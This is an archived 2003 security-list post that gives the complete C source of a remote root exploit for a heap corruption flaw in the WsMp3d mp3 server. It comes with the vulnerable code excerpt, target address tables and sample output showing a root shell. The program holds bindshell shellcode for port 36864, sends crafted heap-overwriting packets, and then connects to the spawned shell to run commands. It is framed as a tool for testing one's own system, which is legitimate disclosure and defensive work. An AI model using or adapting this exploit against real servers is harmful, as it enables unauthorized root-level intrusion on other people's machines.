[EXPL] WsMp3d Remote Exploit for Heap Overflow Vulnerability (CHA)

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Date: 26 May 2003 12:16:11 +0200

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  WsMp3d Remote Exploit for Heap Overflow Vulnerability (CHA)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous advisory:
<http://www.securiteam.com/unixfocus/5UP0Q0AA0W.html> Remote Heap
Corruption Overflow vulnerability in WsMp3d (CHA), a remote vulnerability
allows attackers to cause the server to execute arbitrary code. The
following exploit code can be used to test your system for the mentioned
vulnerability.

DETAILS

Exploit:
/*
**
** [*] Title: Remote Heap Corruption Overflow vulnerability in WsMp3d
(Again)
** [+] Exploit: 0x82-Remote.WsMp3d.again.c
**
** [+] Description --
**
** WsMp3d is webserver daemon that can enjoy mp3. (shoutcast-server)
** There is WsMp3 Heap vulnerability is found in former days.
**
** This vulnerability too, it is security bug that happen based on Heap.
** Doing version up, bug of code was existed.
**
** `src/req_descriptor.c':
** __
** 203 for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
** 204 strncpy(reqcpy,req,strlen(req)); // WhOOops, strlen(req) ??????
** 205 ritorno->action=get_op(reqcpy); // 1. here, desc->action data
** 206
** 207 for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
** 208 strncpy(reqcpy,req,strlen(req)); // WhOOops, strlen(req) ??????
** 209 if(ritorno->action!=NULL)
** 210 { // 2. here, desc->what data
** 211 if(!strcmp(ritorno->action,"CHA")) ritorno->what=nomefile(reqcpy,1)
;
** 212 else ritorno->what=nomefile(reqcpy,0);
** --
**
** free part:
** --
** void rem_req_descriptor(req_descriptor *desc) {
**
** desc->what:
[XXXXXXXXXX...garbage...XXXXXXXXXXXX][prev_size][size(P)][fd][bk]
**
** if((desc->what)!=NULL) {for(i=0;i<1024;i++) desc->what[i]='\0; // why?
only 1024byte ;-}
**
** desc->what: [ ...cleanup... ][prev_size][size(P)][fd][bk]
**
** free(desc->what);
** --
**
** It seems to delete all important data.
** However, be thought-out.
**
** Attacker tries to make imitation chunk header passing data of original.
** Then, before call "free", 1024byte data that delete is useless.
**
** Finally, information that attacker changes completely is inserted.
** Important point must put shellcode in other place because all datas are
removed before free.
**
** [+] Vulnerable Packages --
**
** Vendor site: http://wsmp3.sourceforge.net/
**
** WsMp3-0.0.10.tar.gz version. (exploitable)
** +Linux
** WsMp3-0.0.9.tar.gz version.
** WsMp3-0.0.8.tar.gz version.
** web_server-0.0.7.tar.gz version.
**
** [+] Exploit --
**
** bash$ ./0x82--Remote.WsMp3d.again -h 61.37.xxx.xx -t2
**
** WsMp3 Server Heap Corruption Remote root exploit (Again)
** by Xpl017Elz.
** [+] Hostname: 61.37.xxx.xx
** [+] Port num: 8000
** [+] Retloc address: 0x8058d8c
** [+] Retaddr address: 0x80648bf
** [1] #1 Set socket.
** [2] First, send exploit packet.
** [3] #2 Set socket.
** [4] Second, send exploit packet.
** [5] Waiting, executes the shell ! (3Sec)
** [6] Trying 61.37.xxx.xx:36864 ...
** [7] Connected to 61.37.xxx.xx:36864 !
**
** [*] Executed shell successfully !
**
** Linux xpl017elz 2.2.12-20kr #1 Tue Oct 12 17:08:15 KST 1999 i586
unknown
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** bash#
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** Hey, Hey, Hey~ your mail space lacking?
** Greets: Doctornuker (mail to me!)
**
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retloc;
u_long retaddr;
int off_st;
};
struct op_plat_st __pl_form[]=
{
/*{num,linux,globl val,heap val}*/
{0,"Linux WsMp3 Binary I (Default)",0x08059490,0x08064e8f,0},
{1,"Linux WsMp3 Binary II (Default)",0x08059490,0x08063e97,0},
//08058d8c R_386_JUMP_SLOT malloc
{2,"RedHat Linux 6.1 (Compile)",0x08058d8c,0x080648bf,0},
{3,"RedHat Linux 6.2 (Compile)",0x08058d8c,0x080646f3,0},
{4,"RedHat Linux 7.0 (Compile)",0x0809aa68,0x080a5cb3,0},
{5,"Linux all DoS (Compile)",0x82828282,0x82828282,0},
/* {6,"RedHat Linux 7.1",0x0,0x0,1},
{7,"RedHat Linux 8.0",0x0,0x82828282,1},
{8,"RedHat Linux 9.0",0x0,0x82828282,1},
*/
{0x82,NULL,0,0,0}
};

int sexsock(char *conn_host_nm,int conn_port_nm);
void start_shell(int st_sock_va);
void re_connt_lm(int st_sock_va);
void __xpl_banrl();
void x_fp_rm_usage(char *x_fp_rm);
int __eat_sucks_heap_data_send(int st_sock_va,u_long fd_sx,u_long bk_sx);

void __xpl_banrl()
{
fprintf(stdout,"\n WsMp3 Server Heap Corruption Remote root exploit
(Again)\n");
fprintf(stdout," by Xpl017Elz.\n");
}

void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=0;
fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
fprintf(stdout,"\t -h [hostname] - target host.\n");
fprintf(stdout,"\t -p [port] - port number.\n");
fprintf(stdout,"\t -r [addr] - retloc address. (malloc globl)\n");
fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout," Example> %s -h target_hostname -p 8000\n",x_fp_rm);
fprintf(stdout," Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num==(0x82))
break;
else
{
fprintf(stdout,"\t {%d}
%s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
}
__t_xmp++;
}
fprintf(stdout,"\n");
exit(0);
}

/*
** name: desc->action (free)
** content: chat cmd ("CHA")
** content size: 3
** buffer size: 4+12 (Bin:1000[0])
**
** name: desc->what
** content: garbage (clear)
** content size: 1024
** buffer size: 4+4+1+1024 (Bin:1000000100[1])
*/

int __eat_sucks_heap_data_send(int st_sock_va,u_long fd_sx,u_long bk_sx)
{
int wy_clean_data_q;
char nop_n_jump[]={0x42,0x0c,0xeb,0x41};
int atk_buf_pos=0;
char oxa_oxd[]={0x0a,0x0d};
#define PORT_Q (36864)
#define __CLN_DT_LEN ((0x00000400)+(0x00000001))
char step_atk_code_st[PORT_Q];
#define __OF_BY_ONE (0x01)
char p_rev_size[]={0xfc,0xff,0xff,0xff}; /* chunk size */
char __size_fd[]={0xff,0xff,0xff,0xff}; /* data section size */
char cln_dt_buf[__CLN_DT_LEN];
char chat_inf_send_code[]={0x43,0x48,0x41};
char shellcode[]={
/* bindshell port 36864 */
0xeb,0x72,0x5e,0x29,0xc0,0x89,0x46,0x10,
0x40,0x89,0xc3,0x89,0x46,0x0c,0x40,0x89,
0x46,0x08,0x8d,0x4e,0x08,0xb0,0x66,0xcd,
0x80,0x43,0xc6,0x46,0x10,0x10,0x66,0x89,
0x5e,0x14,0x88,0x46,0x08,0x29,0xc0,0x89,
0xc2,0x89,0x46,0x18,0xb0,0x90,0x66,0x89,
0x46,0x16,0x8d,0x4e,0x14,0x89,0x4e,0x0c,
0x8d,0x4e,0x08,0xb0,0x66,0xcd,0x80,0x89,
0x5e,0x0c,0x43,0x43,0xb0,0x66,0xcd,0x80,
0x89,0x56,0x0c,0x89,0x56,0x10,0xb0,0x66,
0x43,0xcd,0x80,0x86,0xc3,0xb0,0x3f,0x29,
0xc9,0xcd,0x80,0xb0,0x3f,0x41,0xcd,0x80,
0xb0,0x3f,0x41,0xcd,0x80,0x88,0x56,0x07,
0x89,0x76,0x0c,0x87,0xf3,0x8d,0x4b,0x0c,
0xb0,0x0b,0xcd,0x80,0xe8,0x89,0xff,0xff,
0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
};
int send_shcode_lsz=sizeof(shellcode);

memset((char *)cln_dt_buf,0x82,sizeof(cln_dt_buf));
memset((char *)step_atk_code_st,0,sizeof(step_atk_code_st));
/*
desc->action:malloc(10); // cleanup
*/
memcpy(step_atk_code_st+atk_buf_pos,chat_inf_send_code,sizeof(chat_inf_send_code));
atk_buf_pos+=(sizeof(chat_inf_send_code));
memset(step_atk_code_st+atk_buf_pos,0x20,__OF_BY_ONE);
atk_buf_pos+=(__OF_BY_ONE);
/*
void rem_req_descriptor(req_descriptor *desc);
desc->what[sizeof(desc->what)]='\0';free(desc->what);desc->what=NULL;
*/
memcpy(step_atk_code_st+atk_buf_pos,cln_dt_buf,sizeof(cln_dt_buf));
atk_buf_pos+=(sizeof(cln_dt_buf));
/* chunk size */
memcpy(step_atk_code_st+atk_buf_pos,p_rev_size,sizeof(p_rev_size));
atk_buf_pos+=(sizeof(p_rev_size));
/* data section size */
memcpy(step_atk_code_st+atk_buf_pos,__size_fd,sizeof(__size_fd));
atk_buf_pos+=(sizeof(__size_fd));
{
*(long *)&step_atk_code_st[atk_buf_pos]=(fd_sx-(0x0c));
atk_buf_pos+=4; /* forward ptr */
*(long *)&step_atk_code_st[atk_buf_pos]=(bk_sx);
atk_buf_pos+=4; /* back ptr */
}
memset(step_atk_code_st+atk_buf_pos,0x20,__OF_BY_ONE);
atk_buf_pos+=(__OF_BY_ONE);
for(wy_clean_data_q=0;wy_clean_data_q<0x190;wy_clean_data_q+=4)
{
memcpy(step_atk_code_st+atk_buf_pos,nop_n_jump,sizeof(nop_n_jump));
atk_buf_pos+=(sizeof(nop_n_jump));
}
memcpy(step_atk_code_st+atk_buf_pos,shellcode,sizeof(shellcode));
atk_buf_pos+=(sizeof(shellcode));
memcpy(step_atk_code_st+atk_buf_pos,oxa_oxd,sizeof(oxa_oxd));
atk_buf_pos+=(sizeof(oxa_oxd));

send(st_sock_va,step_atk_code_st,strlen(step_atk_code_st),0);
return(st_sock_va);
}

int main(int argc,char *argv[])
{
int sock,tg_sk;
#define D_PORT (8000)
#define ATK_CPT (36864)
int port=(D_PORT);
#define D_HOST "x82.inetcop.org"
char hostname[0x82]=D_HOST;
int whlp,type=0;

u_long retloc=__pl_form[type].retloc;
u_long retaddr=__pl_form[type].retaddr;

(void)__xpl_banrl();
while((whlp=getopt(argc,argv,"T:t:R:r:S:s:H:h:P:p:IiXx"))!=EOF)
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=atoi(optarg))<6)
{
retloc=__pl_form[type].retloc;
retaddr=__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;

case 'R':
case 'r':
retloc=strtoul(optarg,NULL,0);
break;

case 'S':
case 's':
retaddr=strtoul(optarg,NULL,0);
break;

case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;

case 'P':
case 'p':
port=atoi(optarg);
break;

case 'I':
case 'i':
fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
exit(-1);

case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}

if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
{
fprintf(stdout," [+] Hostname: %s\n",hostname);
fprintf(stdout," [+] Port num: %d\n",port);
fprintf(stdout," [+] Retloc address: %p\n",retloc);
fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
}
fprintf(stdout," [1] #1 Set socket.\n");
sock=(int)sexsock(hostname,port);
(void)re_connt_lm(sock);

fprintf(stdout," [2] First, send exploit packet.\n");
sock=(int)__eat_sucks_heap_data_send(sock,retloc,retaddr);
close(sock);

fprintf(stdout," [3] #2 Set socket.\n");
sock=(int)sexsock(hostname,port);
(void)re_connt_lm(sock);

fprintf(stdout," [4] Second, send exploit packet.\n");
sock=(int)__eat_sucks_heap_data_send(sock,retloc,retaddr);

fprintf(stdout," [5] Waiting, executes the shell ! (3Sec)\n");
sleep(3);

fprintf(stdout," [6] Trying %s:%d ...\n",hostname,(ATK_CPT));
tg_sk=(int)sexsock(hostname,(ATK_CPT));
(void)re_connt_lm(tg_sk);

fprintf(stdout," [7] Connected to %s:%d !\n\n",hostname,(ATK_CPT));
(void)start_shell(tg_sk);

exit(0);
}

int sexsock(char *conn_host_nm,int conn_port_nm)
{
int sock;
struct hostent *sxp;
struct sockaddr_in sxp_addr;
 
if((sxp=gethostbyname(conn_host_nm))==NULL)
{
herror(" [-] gethostbyname() error");
return(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror(" [-] socket() error");
return(-1);
}
sxp_addr.sin_family=AF_INET;
sxp_addr.sin_port=htons(conn_port_nm);
sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
bzero(&(sxp_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==-1)
{
perror(" [-] connect() error");
return(-1);
}

return(sock);
}

void start_shell(int st_sock_va)
{
int died;
char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
char readbuf[1024];
fd_set rset;
memset((char *)readbuf,0,sizeof(readbuf));
fprintf(stdout," [*] Executed shell successfully !\n\n");
send(st_sock_va,command,strlen(command),0);

for(;;)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(st_sock_va,&rset);
FD_SET(STDIN_FILENO,&rset);
select(st_sock_va+1,&rset,NULL,NULL,NULL);

if(FD_ISSET(st_sock_va,&rset))
{
died=read(st_sock_va,readbuf,sizeof(readbuf)-1);
if(died<=0)
exit(0);
readbuf[died]=0;
fprintf(stdout,"%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
if(died>0)
{
readbuf[died]=0;
write(st_sock_va,readbuf,died);
}
}
}
return;
}

void re_connt_lm(int st_sock_va)
{
if(st_sock_va==-1)
{
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");
exit(-1);
}
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:xploit@hackermail.com>
dong-h0un U.

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